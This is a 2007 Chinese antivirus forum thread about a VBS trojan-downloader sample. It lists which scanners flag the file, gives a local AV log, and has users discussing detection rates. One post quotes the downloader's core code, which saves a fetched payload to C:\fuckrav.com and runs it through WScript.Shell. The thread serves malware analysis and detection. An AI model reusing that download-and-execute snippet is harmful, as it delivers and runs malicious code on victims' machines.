md5:4e3d57

显示全部楼层 · 发表于 2007-6-6 09:37:12

File: 123.rar
Status:
INFECTED/MALWARE
MD5 bfaf02a78bc2f8580d86b49b630fe215
Packers detected:
-
Scanner results
Scan taken on 06 Jun 2007 01:30:16 (GMT)
A-Squared
Found nothing
AntiVir
Found VBS/Dldr.Mamu
ArcaVir
Found nothing
Avast
Found nothing
AVG Antivirus
Found nothing
BitDefender
Found Trojan.VBS.TPA
ClamAV
Found nothing
Dr.Web
Found nothing
F-Prot Antivirus
Found nothing
F-Secure Anti-Virus
Found Trojan-Downloader.VBS.Small.en
Fortinet
Found nothing
Kaspersky Anti-Virus
Found Trojan-Downloader.VBS.Small.en
NOD32
Found nothing
Norman Virus Control
Found nothing
Panda Antivirus
Found nothing
Rising Antivirus
Found nothing
VirusBuster
Found nothing
VBA32
Found nothing

显示全部楼层 · 发表于 2007-6-6 09:43:13

Virus: Trojan-Downloader.VBS.Small.en

Virus found while downloading Web content.

Address: bbs.kafan.cn

显示全部楼层 · 发表于 2007-6-6 09:52:32

AVAST挂了

显示全部楼层 · 发表于 2007-6-6 10:05:11

Virus check with AntiVirusKit
Version 16.0.7
Virus signatures of 2007-6-6
Start time: 2007-6-6 10:05
Engine(s): KAV engine (AVK 17.5733), BD-Engine (BD 17.5315)
Heuristic: On
Archives: On
System areas: Off

Check selected directories and files...
Object: 123.vbs
Path: C:\Documents and Settings\Administrator\桌面\123
Status: Move file into quarantine
Virus: Trojan-Downloader.VBS.Small.en (KAV engine), Trojan.VBS.TPA (BD-Engine)
Analysis complete: 2007-6-6 10:05
1 files checked
1 infected files detected
0 suspected files detected

显示全部楼层 · 发表于 2007-6-6 10:23:47

网马地址够明显的，可是好像死了

显示全部楼层 · 发表于 2007-6-6 10:59:23

xPost.Send():Set sGet = CreateObject("ADODB.Stream"):sGet.Mode = 3:sGet.Type = 1:sGet.Open():sGet.Write(xPost.responseBody):sGet.SaveToFile "C:\fuckrav.com",2 :wscript.sleep 1 :wscript.createobject("wscript.shell").run "C:\fuckrav.com",1:

复制代码

不会PC编程真实麻烦

显示全部楼层 · 发表于 2007-6-6 11:03:14

简单得vbs也就这么过了一大把杀软

显示全部楼层 · 发表于 2007-6-6 11:05:29

不报也没什么，下的马干掉就是了，可惜马儿不在矣

显示全部楼层 · 发表于 2007-6-6 11:14:53

问题是，你保证能干掉它想下的东西？
下载者下的木马能更新的多快，我想你也知道，还是直接把下载者干掉了保险些

显示全部楼层 · 发表于 2007-6-6 11:20:42

脚本的话很难查吧，费尔倒是能报decode

[病毒样本] md5:4e3d57

本帖子中包含更多资源

评分

回复 #6 allenhippo 的帖子

回复 #7 solcroft 的帖子

回复 #8 allenhippo 的帖子

回复 #9 solcroft 的帖子